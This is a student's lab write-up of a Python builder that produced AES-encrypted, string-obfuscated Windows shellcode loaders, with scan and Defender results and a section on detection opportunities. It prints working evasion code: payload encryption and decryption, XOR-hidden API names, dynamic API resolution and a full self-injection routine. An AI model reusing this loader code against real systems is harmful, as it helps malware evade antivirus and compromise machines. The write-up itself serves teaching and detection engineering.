Authorised Payload Research Lab

Executive summary

For this project, I developed a Python-based builder that automated the generation, transformation and compilation of Windows payload executables for testing inside a controlled university lab.

The builder generated raw payload material, encrypted it with AES, obfuscated selected Windows API strings using XOR, inserted the resulting data into C++ templates and compiled separate self-injection and process-injection variants. I tested staged and stageless versions of both execution methods to compare their static detection results and runtime behaviour under Windows Defender.

The project showed that reducing static indicators did not necessarily prevent runtime detection. Some samples received few or no detections from the static multi-scanner used during testing, while Defender still identified or disrupted them once they began decrypting memory, changing memory protections, injecting into another process or establishing network connections.

The main outcome was a clearer understanding of how payload structure, imports, execution method and delivery model affect both the generated executable and the telemetry available to defenders. It also gave me practical experience with Python automation, C++ code generation, Windows APIs, memory execution, process injection and the analysis of static and behavioural detections.

Research context

This project was completed for CMP320 / Advanced Ethical Hacking:

Malware Development with Python: An Investigation into the Effectiveness of Malware Development Techniques and the Automation of the Development Process using the Python Programming Language

The research investigated how Python could automate a Windows payload-development workflow while allowing different execution and delivery models to be compared consistently.

The project combined Python orchestration with generated C++ templates and focused on:

1. automating payload generation, transformation, source generation, and compilation;
2. encrypting payload material before it was embedded in the generated executable;
3. obfuscating selected Windows API strings;
4. resolving sensitive API functions dynamically at runtime;
5. comparing self-injection and process-injection execution models;
6. comparing staged and stageless payloads;
7. separating static scanner results from runtime endpoint behaviour;
8. translating offensive implementation details into defensive detection opportunities.

All development and testing took place inside a controlled university lab.

Research background

While using Cobalt Strike, Sliver and Metasploit in labs, I kept seeing the same problem: the generated payloads were useful, but the executable was often detected as soon as it touched disk.

I wanted to know which parts of that detection came from the payload bytes, which came from the surrounding executable, and which only appeared once the sample ran.

I tested four generated variants:

• self-injection with a stageless payload;
• self-injection with a staged payload;
• process injection with a stageless payload;
• process injection with a staged payload.

The point was not to claim a permanent Defender bypass. It was to keep the build process consistent and change the payload style or execution method between tests.

Python builder workflow

The project combined a Python orchestration layer with generated C++ templates.

At a high level, the workflow was:

builder arguments
      |
      v
generate raw payload material
      |
      v
AES-encrypt payload bytes
      |
      +----> generate random payload key
      |
      v
XOR-obfuscate selected API strings
      |
      +----> generate independent string key
      |
      v
populate C++ template
      |
      v
compile through the Visual Studio toolchain
      |
      v
move generated executable into controlled output
      |
      v
test static and runtime behaviour in the lab

The Python builder handled:

• command-line configuration;
• checking and preparing the local tooling environment;
• orchestrating raw payload generation;
• AES encryption of the generated bytes;
• random key generation;
• SHA-256 derivation of AES-256 key material;
• block padding before encryption;
• XOR transformation of selected Windows API strings;
• conversion of binary data into C-style byte arrays;
• insertion of generated values into C++ templates;
• invoking the Windows build toolchain;
• collecting the resulting executable;
• cleaning intermediate artefacts;
• optionally preparing the supporting listener workflow;
• selecting either the self-injection or process-injection template.

Python made the comparison manageable. Without it, every test meant editing the C++ template, regenerating the data, rebuilding the project and moving the output by hand. The builder kept those steps consistent across the four samples.

Builder design

Self-injection and process-injection templates

I maintained separate template paths for:

• self-injection, where the generated process decrypted and executed the payload inside its own address space;
• process injection, where the generated process attempted to place the decrypted material inside another controlled process in the lab.

Both variants shared the same broad builder stages, but the process-injection version required different API names, variable placement, and template substitutions.

I kept the templates separate so the encryption and build stages stayed the same while the execution method changed.

Filling the C++ templates

The builder replaced specific line numbers inside the C++ source file. The builder constructed replacement declarations for the encrypted payload, payload key, string key, and obfuscated API names:

line_replacements = {
    12: (
        "unsigned char payload[] = { 0x"
        + ", 0x".join(hex(x)[2:] for x in ciphertext)
        + " }; // Encrypted payload material\n"
    ),
    90: (
        "char key[] = { 0x"
        + ", 0x".join(hex(x)[2:] for x in KEY)
        + " };\n"
    ),
    93: 'char skey[] = "' + SKEY + '";\n',
    96: Format(sVirtualAlloc, "sVirtualAlloc"),
    97: Format(sRtlMoveMemory, "sRtlMoveMemory"),
    98: Format(sVirtualProtect, "sVirtualProtect"),
    99: Format(sCreateThread, "sCreateThread"),
}

The helper used for string declarations converted the transformed data into a C-style byte array and added an explicit null terminator:

def Format(ciphertext: str, variable_name: str) -> str:
    encoded = ciphertext.encode("utf-8")
    hex_values = ", 0x".join(hex(byte)[2:] for byte in encoded)

    return (
        f"char {variable_name}[] = "
        f"{{ 0x{hex_values}, 0x00 }};\n"
    )

This implementation worked for the experiment, but line-number replacement was brittle. Any edit above one of those positions could cause the builder to replace the wrong source line.

A stronger design would use named template tokens:

{{ENCRYPTED_PAYLOAD}}
{{PAYLOAD_KEY}}
{{STRING_KEY}}
{{VIRTUAL_ALLOC_STRING}}

That would make the generation process independent of source-file line numbers and much easier to test.

Compilation and output handling

Once the template had been populated, the builder invoked the Windows compilation workflow, located the resulting executable, replaced any older output, and moved the new artefact into a controlled directory.

Conceptually:

populate template
      |
      v
compile Release configuration
      |
      v
verify expected executable exists
      |
      v
replace previous test artefact
      |
      v
move output into Executable/
      |
      v
remove or restore temporary files

The builder also included logic for checking or installing Metasploit and preparing a handler. This placed several separate responsibilities inside one workflow. Tool installation, payload generation, source generation, compilation, execution, and listener management should have been separate modules.

Payload encryption

Why I encrypted the payload

A raw payload embedded directly inside a PE file exposes recognisable byte patterns to static scanners. Encrypting the bytes changes the artefact stored on disk and allows each build to contain a different ciphertext.

That does not make the runtime behaviour disappear. The generated program still has to:

1. recover the plaintext bytes;
2. allocate memory;
3. copy the bytes into that memory;
4. change the memory protections;
5. begin execution.

The encrypted bytes changed what was stored in the PE file, but the sample still had to decrypt them and carry out the same memory operations at runtime.

Encryption in Python

The builder generated random key material, derived a 256-bit key with SHA-256, padded the plaintext to the AES block size, and encrypted it in CBC mode:

def pad(data: bytes) -> bytes:
    padding = AES.block_size - (len(data) % AES.block_size)
    return data + bytes([padding]) * padding


def aes_encrypt(plaintext: bytes, key: bytes) -> bytes:
    derived_key = hashlib.sha256(key).digest()
    iv = b"\x00" * 16

    padded = pad(plaintext)
    cipher = AES.new(derived_key, AES.MODE_CBC, iv)

    return cipher.encrypt(padded)

The builder then generated and transformed the two groups of data separately:

# Payload encryption
KEY = urandom(16)
plaintext = open("shell.raw", "rb").read()
ciphertext = aes_encrypt(plaintext, KEY)

# String transformation
SKEY = "".join(
    random.choice(string.ascii_letters + string.digits)
    for _ in range(20)
)

sVirtualAlloc = xor("VirtualAlloc", SKEY)
sRtlMoveMemory = xor("RtlMoveMemory", SKEY)
sVirtualProtect = xor("VirtualProtect", SKEY)
sCreateThread = xor("CreateThread", SKEY)

Decryption in the C++ template

The C++ template stored the encrypted bytes as a global array in the PE file’s data section:

unsigned char payload[] = { 0x90 };
unsigned int payload_size = sizeof(payload);

The real generated array was populated by the Python builder. At runtime, the template used the Windows CryptoAPI to derive an AES key from the embedded key material and decrypt the array in place:

int AESDecrypt(
    BYTE* payload,
    DWORD payloadLength,
    char* key,
    size_t keyLength
) {
    HCRYPTPROV provider;
    HCRYPTHASH hash;
    HCRYPTKEY derivedKey;

    if (!CryptAcquireContextW(
            &provider,
            NULL,
            NULL,
            PROV_RSA_AES,
            CRYPT_VERIFYCONTEXT)) {
        return -1;
    }

    if (!CryptCreateHash(
            provider,
            CALG_SHA_256,
            0,
            0,
            &hash)) {
        return -1;
    }

    if (!CryptHashData(
            hash,
            reinterpret_cast<BYTE*>(key),
            static_cast<DWORD>(keyLength),
            0)) {
        return -1;
    }

    if (!CryptDeriveKey(
            provider,
            CALG_AES_256,
            hash,
            0,
            &derivedKey)) {
        return -1;
    }

    if (!CryptDecrypt(
            derivedKey,
            NULL,
            FALSE,
            0,
            payload,
            &payloadLength)) {
        return -1;
    }

    CryptDestroyKey(derivedKey);
    CryptDestroyHash(hash);
    CryptReleaseContext(provider, 0);

    return 0;
}

Python encrypted the generated bytes before compilation, and the C++ template decrypted them again when the sample ran.

Encryption limitations

The cryptography was proof-of-concept engineering, not production guidance.

The main weakness was the fixed zero initialisation vector:

iv = b"\x00" * 16

A static IV made the build easier to reproduce, but it removed an important property of CBC-mode encryption. The key and decryption material were also stored inside the generated artefact because the executable needed them at runtime.

Using a zero IV and embedding the key made the process easy to automate, but it was not good cryptographic design. That was acceptable for the lab because the encryption was there to change the file’s static byte pattern, not to protect a secret from someone analysing the executable.

String obfuscation

Static strings can reveal intent before a program is executed. Names such as VirtualAlloc, VirtualProtect, and CreateThread immediately give an analyst clues about memory allocation and execution.

The builder used a cyclic XOR routine to transform selected function-name strings:

def xor(data: str, key: str) -> str:
    output = []

    for index, character in enumerate(data):
        key_character = key[index % len(key)]
        output.append(chr(ord(character) ^ ord(key_character)))

    return "".join(output)

The transformed arrays were inserted into the generated C++ template:

char sVirtualAlloc[] = {
    0x34, 0x07, 0x39, 0x40, 0x40, 0x05,
    0x1e, 0x26, 0x18, 0x01, 0x58, 0x15,
    0x00
};

char sCreateThread[] = {
    0x21, 0x1c, 0x2e, 0x55, 0x41, 0x01,
    0x26, 0x0f, 0x06, 0x08, 0x56, 0x12,
    0x00
};

The explicit 0x00 byte preserved normal C-string termination. The XOR routine was applied to every byte except that final terminator:

XOR(
    reinterpret_cast<char*>(sVirtualAlloc),
    sizeof(sVirtualAlloc) - 1,
    skey,
    sizeof(skey)
);

XOR(
    reinterpret_cast<char*>(sCreateThread),
    sizeof(sCreateThread) - 1,
    skey,
    sizeof(skey)
);

This reduced obvious plaintext strings in the binary, but it did not remove the runtime evidence. The program still had to recover the function names before resolving and calling them.

Dynamic API resolution

The templates declared typed function pointers matching the Windows APIs required by the self-injection path:

LPVOID (WINAPI* hVirtualAlloc)(
    LPVOID,
    SIZE_T,
    DWORD,
    DWORD
);

VOID (WINAPI* hRtlMoveMemory)(
    VOID UNALIGNED*,
    const VOID UNALIGNED*,
    SIZE_T
);

BOOL (WINAPI* hVirtualProtect)(
    LPVOID,
    SIZE_T,
    DWORD,
    PDWORD
);

HANDLE (WINAPI* hCreateThread)(
    LPSECURITY_ATTRIBUTES,
    SIZE_T,
    LPTHREAD_START_ROUTINE,
    LPVOID,
    DWORD,
    LPDWORD
);

After decrypting the strings, the template resolved the addresses at runtime:

hVirtualAlloc =
    reinterpret_cast<decltype(hVirtualAlloc)>(
        GetProcAddress(
            GetModuleHandleW(L"kernel32.dll"),
            sVirtualAlloc
        )
    );

hRtlMoveMemory =
    reinterpret_cast<decltype(hRtlMoveMemory)>(
        GetProcAddress(
            GetModuleHandleW(L"ntdll.dll"),
            sRtlMoveMemory
        )
    );

hVirtualProtect =
    reinterpret_cast<decltype(hVirtualProtect)>(
        GetProcAddress(
            GetModuleHandleW(L"kernel32.dll"),
            sVirtualProtect
        )
    );

hCreateThread =
    reinterpret_cast<decltype(hCreateThread)>(
        GetProcAddress(
            GetModuleHandleW(L"kernel32.dll"),
            sCreateThread
        )
    );

This reduced the number of sensitive functions exposed directly through the import table.

This removed some obvious imports from the PE file, but it did not hide the runtime sequence. The program still decrypted the API names, called GetProcAddress, and used the resolved functions for memory allocation, protection changes and thread creation.

Self-injection

The self-injection template performed execution inside its own process.

The sequence was:

decrypt payload array
      |
      v
allocate private read/write memory
      |
      v
copy decrypted bytes into the allocation
      |
      v
change protection to read/execute
      |
      v
create a new thread at the allocation

The implementation used dynamically resolved function pointers:

execMemory = hVirtualAlloc(
    nullptr,
    payload_size,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

hRtlMoveMemory(
    execMemory,
    payload,
    payload_size
);

protectionChanged = hVirtualProtect(
    execMemory,
    payload_size,
    PAGE_EXECUTE_READ,
    &oldProtection
);

if (protectionChanged != FALSE) {
    threadHandle = hCreateThread(
        nullptr,
        0,
        reinterpret_cast<LPTHREAD_START_ROUTINE>(execMemory),
        nullptr,
        0,
        nullptr
    );

    WaitForSingleObject(threadHandle, INFINITE);
}

I deliberately used a read/write allocation followed by a transition to read/execute rather than creating one region with read/write/execute permissions from the beginning.

Changing the allocation from read/write to read/execute was less blatant than creating RWX memory from the start, but the sequence was still visible:

private memory allocation
-> payload copy
-> protection change
-> thread start from private memory

Endpoint telemetry can observe that sequence even when the payload bytes and API names are transformed on disk.

Process injection

The process-injection variant moved the execution context into another process in the controlled lab. The tests expected notepad.exe to be running before the generated sample was launched.

Conceptually, the template performed:

identify target process
      |
      v
open target process
      |
      v
allocate memory in remote process
      |
      v
write decrypted material into remote memory
      |
      v
adjust protections where required
      |
      v
create a remote execution thread
      |
      v
release local and remote handles

This moved the activity into another process, but it created another set of observable events:

• access to another process;
• remote memory allocation;
• cross-process memory writes;
• remote thread creation;
• unusual relationships between the source and target processes.

Process injection is not persistence by itself. Moving execution into another process changes where code runs, but it does not automatically make that code survive logoff, reboot, or termination of the target process.

The process-injection builder used the same payload-transformation pipeline as the self-injection version but changed the API-string set and the template positions populated by Python.

Testing

The evaluation was conducted in the 2022/23 academic lab.

The environment used:

• a fresh Windows target with Windows Defender protections enabled;
• a separate Windows development system with protections disabled so controlled samples could be generated;
• Antiscan.me as static multi-scanner context;
• Windows Defender observations during execution on the target.

I treated the static scanner and runtime endpoint evidence separately.

A multi-scanner upload can tell us which engines recognise a file at that moment. It cannot reproduce the complete execution environment, process relationships, network behaviour, or endpoint telemetry generated when the sample runs.

The results below describe that controlled test environment and should be read as comparative evidence between the four generated variants.

Detection results

Variant	Antiscan.me result	Runtime observation
Process injection, stageless	3 detections	Callback succeeded when the expected target process was running
Process injection, staged	0 detections	Callback succeeded in the lab
Self-injection, stageless	4 detections	Brief callback followed by Defender detection
Self-injection, staged	1 detection	Defender detected or disrupted the sample at runtime

Process injection, stageless

The stageless process-injection sample was larger and self-contained. Antiscan.me reported three detections: Alyac, Avira, and Ad-Aware.

Execution produced a callback when the expected notepad.exe target was available:

The dependency on an existing target process was an important limitation. The sample’s success depended on both the process being present and the injection sequence completing.

Process injection, staged

The staged process-injection variant reduced the amount of functionality stored in the initial executable. Antiscan.me reported no detections during the test:

The callback also completed in the controlled lab:

That did not mean the sample was invisible. Antiscan only saw the initial file; it did not see the full runtime chain.

Self-injection, stageless

The stageless self-injection sample received four static detections:

When executed, the sample produced a short-lived callback before Defender detected or disrupted it:

The result was consistent with the generated process exposing its own decryption, allocation, permission transition, and thread-creation behaviour.

Self-injection, staged

The staged self-injection sample received one static detection:

Defender still detected or interrupted it at runtime:

Findings

The tests showed a clear split between static detections and runtime detections.

Changing the payload type and injection method altered the file size, encrypted bytes, visible strings, imports, process context and network activity. That changed the Antiscan results, but it did not predict what Defender would do when the sample ran.

The main findings were:

• static detection and runtime behavioural detection are different problems;
• staged payloads changed the initial artefact and its static profile;
• process context influenced the observed result;
• encrypted payload material reduced obvious plaintext byte patterns;
• XOR-obfuscated strings changed what was visible before execution;
• dynamic API resolution reduced some import-table evidence;
• self-injection remained behaviourally conspicuous in the lab;
• process injection moved the interesting activity into cross-process telemetry;
• a low multi-scanner count did not mean the endpoint would allow execution.

The lowest Antiscan count was not the most useful result. The useful comparison was why one file scanned cleanly while the same sample could still be detected or stopped at runtime.

Detection opportunities

Building the samples made the defensive side easier to understand because each technique created its own set of indicators.

Static artefacts

A generated binary could expose:

• high-entropy encrypted regions;
• repeated template structure;
• similar PE layout across builds;
• embedded key material;
• unusual combinations of cryptographic and memory-management code;
• generator-specific metadata or build characteristics;
• families of samples that differed in bytes but retained common structure.

High-entropy or encrypted data is not malicious on its own. It becomes more useful when the same process later decrypts it, allocates private memory, changes the permissions and starts execution from that region.

Self-injection behaviour

The self-injection path created a sequence defenders could correlate:

runtime decryption
-> private memory allocation
-> write or copy into allocation
-> protection change to executable
-> thread start from private memory

One event by itself would be weak evidence. The sequence is the detection opportunity.

Process-injection behaviour

The process-injection route created a different chain:

source process opens target
-> remote allocation
-> cross-process write
-> remote protection or execution change
-> remote thread creation

These events are more useful when linked together than a static signature for the payload.

Dynamic API resolution

Dynamic function resolution can reduce obvious imports, but the combination of:

• string recovery;
• GetProcAddress;
• resolution of memory and thread APIs;
• immediate use of those APIs;

is still suspicious when it appears in that order and is followed by memory execution.

Staged payload network activity

A staged artefact can be smaller and less self-contained, but it introduces follow-on network activity. Defenders can observe:

• a new process making an unexpected outbound connection;
• the process tree responsible for that connection;
• the timing between execution and callback;
• retrieval of later-stage data;
• the endpoint actions that follow delivery.

The best view of the activity came from correlating the file, process, memory and network data.

Limitations

There were several limitations in the way I built and tested it.

Line-number template replacement

Replacing exact source-code line numbers made the builder fragile. Named template fields or a structured code-generation layer would have been safer.

Fixed IV and embedded key material

The zero IV supported repeatable testing but was poor cryptographic design. The generated executable also needed access to its recovery material, limiting what encryption could achieve.

Too much in one script

The builder attempted to manage tool installation, payload generation, encryption, source generation, compilation, output movement, and listener setup. That made the script difficult to maintain and test.

Small test set

Four variants in one controlled lab are not enough to generalise across anti-virus products, EDR platforms, Windows versions, or enterprise policies.

Known payload families

The project used known payload families. Detection could be influenced by the generated payload, the template, the execution sequence, or all three.

Process injection and persistence

Process injection does not make access persistent. Persistence requires a separate mechanism that causes execution to return after termination, logoff, or reboot.

Static detection counts

The Antiscan results were a snapshot of one file at one time. They were useful for comparing the samples, not for proving that a sample was undetectable.

Rebuilding the project now

A modern rebuild would separate the system into explicit modules:

configuration
payload provider
transform pipeline
template renderer
compiler adapter
artefact catalogue
test runner
telemetry collector
result analyser

I would also replace ad hoc output with structured metadata for every generated sample:

sample_id: generated identifier
timestamp: build time
template: self-injection or process-injection
delivery: staged or stageless
architecture: x86 or x64
payload_hash: source payload hash
artefact_hash: generated executable hash
payload_key_id: non-secret experiment identifier
compiler: toolchain version
target_os: test image version
defender_version: engine and signature version
static_results: scanner observations
runtime_results: process, memory, network, and detection events

The biggest improvement would be automated telemetry collection. I mainly recorded whether a sample was detected and whether a callback succeeded. A better test harness would also capture:

• process creation;
• module loads;
• memory allocation and protection changes;
• cross-process access;
• thread creation;
• network connections;
• Defender events;
• Sysmon events;
• execution timing;
• generated file hashes and metadata.

That would make every result traceable to the exact sample, build settings, Defender version and runtime events.

Future research

The next areas I identified were:

• reflective DLL injection;
• API hooking;
• 32-bit and 64-bit process migration;
• inter-process communication for modular payload control;
• custom shellcode development.

The next step would not just be adding more techniques to the builder. Each one should be measured by what it changes in the PE file, process tree, memory activity and endpoint logs.

That would make the follow-on work useful for malware analysis, threat hunting, detection engineering and incident response rather than only producing another generated sample.

Conclusion

The builder did what I built it to do: it turned a manual payload-packaging workflow into a repeatable experiment.

The main parts of the project were:

• connecting Python automation to a native Windows build pipeline;
• transforming generated binary material before compilation;
• generating C++ source data programmatically;
• separating self-injection and process-injection templates;
• comparing staged and stageless artefacts;
• recognising the difference between static scanner results and runtime endpoint behaviour;
• translating offensive implementation details into defensive detection opportunities.

The main lesson was that changing a file’s static appearance was only half of the problem. Once it ran, the memory operations, process relationships and network activity still gave defenders plenty to work with.